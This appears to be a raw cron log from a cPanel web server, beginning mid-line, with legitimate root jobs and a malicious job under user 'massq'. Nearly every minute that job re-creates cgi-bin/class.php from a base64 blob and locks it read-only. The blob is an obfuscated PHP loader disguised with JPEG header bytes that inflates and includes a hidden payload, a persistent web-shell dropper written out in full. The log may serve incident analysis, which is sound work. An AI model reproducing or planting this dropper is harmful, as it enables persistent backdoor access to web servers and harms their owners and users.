9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:50:01 server CROND[14878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 02:51:01 server CROND[15085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:52:01 server CROND[15128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:53:01 server CROND[15193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:54:01 server CROND[15240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:55:01 server CROND[15286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:55:01 server CROND[15287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:55:01 server CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:56:01 server CROND[15394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:57:01 server CROND[15530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:57:01 server CROND[15531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 02:58:01 server CROND[15589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:59:01 server CROND[15642]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr 13 02:59:01 server CROND[15643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:00:01 server CROND[15721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 03:00:01 server CROND[15722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 03:00:01 server CROND[15723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 03:00:01 server CROND[15726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:01:01 server CROND[15830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:01:01 server CROND[15831]: (root) CMD (run-parts /etc/cron.hourly)
Apr 13 03:01:01 server run-parts(/etc/cron.hourly)[15831]: starting 0anacron
Apr 13 03:01:01 server anacron[15843]: Anacron started on 2025-04-13
Apr 13 03:01:01 server anacron[15843]: Will run job `cron.daily' in 25 min.
Apr 13 03:01:01 server anacron[15843]: Jobs will be executed sequentially
Apr 13 03:01:01 server run-parts(/etc/cron.hourly)[15845]: finished 0anacron
Apr 13 03:02:01 server CROND[15995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 03:03:01 server CROND[16045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
